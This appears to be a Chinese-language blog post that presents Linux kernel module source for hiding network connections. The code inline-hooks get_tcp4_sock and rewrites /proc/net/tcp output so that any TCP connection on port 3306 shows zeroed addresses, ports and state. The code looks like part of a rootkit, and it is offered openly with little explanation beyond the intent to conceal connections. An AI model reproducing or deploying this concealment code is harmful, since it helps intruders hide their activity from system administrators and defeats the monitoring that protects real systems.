Linux下隱藏網絡連接的另一種方法
直接inline hook住get_tcp4_sock這個函數就行了，只不過需要重新實現下get_tcp4_sock的功能，在作下過濾。比較簡單，代碼如下：
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <linux/string.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/kmod.h>
#include <linux/file.h>
#include <linux/sched.h>
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/spinlock.h>
#include <linux/socket.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/skbuff.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <net/sock.h>
#include <asm/uaccess.h>
#include <asm/unistd.h>
#include <asm/termbits.h>
#include <asm/ioctls.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("wzt");
__u32 wnps_in_aton(const char *str)
{
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return(htonl(l));
}
void new_get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
{
int timer_active;
unsigned long timer_expires;
struct tcp_sock *tp = tcp_sk(sk);
const struct inet_connection_sock *icsk = inet_csk(sk);
struct inet_sock *inet = inet_sk(sk);
__be32 dest = inet->daddr;
__be32 src = inet->rcv_saddr;
__u16 destp = ntohs(inet->dport);
__u16 srcp = ntohs(inet->sport);
printk("!! in new_get_tcp4_sock.\n");
if (icsk->icsk_pending == ICSK_TIME_RETRANS) {
timer_active = 1;
timer_expires = icsk->icsk_timeout;
} else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
timer_active = 4;
timer_expires = icsk->icsk_timeout;
} else if (timer_pending(&sk->sk_timer)) {
timer_active = 2;
timer_expires = sk->sk_timer.expires;
} else {
timer_active = 0;
timer_expires = jiffies;
}
/*
if (src == wnps_in_aton("127.0.0.1")) {
printk("got 127.0.0.1");
return ;
}
*/
if (srcp == 3306 || destp == 3306) {
printk("got 3306!\n");
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
0, 0, 0, 0, 0, 0,
tp->write_seq - tp->snd_una,
sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
(tp->rcv_nxt - tp->copied_seq),
timer_active,
jiffies_to_clock_t(timer_expires - jiffies),
icsk->icsk_retransmits,
sock_i_uid(sk),
icsk->icsk_probes_out,
sock_i_ino(sk),
atomic_read(&sk->sk_refcnt), sk,
jiffies_to_clock_t(icsk->icsk_rto),
jiffies_to_clock_t(icsk->icsk_ack.ato),
(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
tp->snd_cwnd,
tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
len);
}
else {
seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
"%08X %5d %8d %lu %d %p %lu %lu %u %u %d%n",
i, src, srcp, dest, destp, sk->sk_state,
tp->write_seq - tp->snd_una,
sk->sk_state == TCP_LISTEN ? sk->sk_ack_backlog :
(tp->rcv_nxt - tp->copied_seq),
timer_active,
jiffies_to_clock_t(timer_expires - jiffies),
icsk->icsk_retransmits,
sock_i_uid(sk),
icsk->icsk_probes_out,
sock_i_ino(sk),
atomic_read(&sk->sk_refcnt), sk,
jiffies_to_clock_t(icsk->icsk_rto),
jiffies_to_clock_t(icsk->icsk_ack.ato),
(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
tp->snd_cwnd,
tp->snd_ssthresh >= 0xFFFF ? -1 : tp->snd_ssthresh,
len);
}
}
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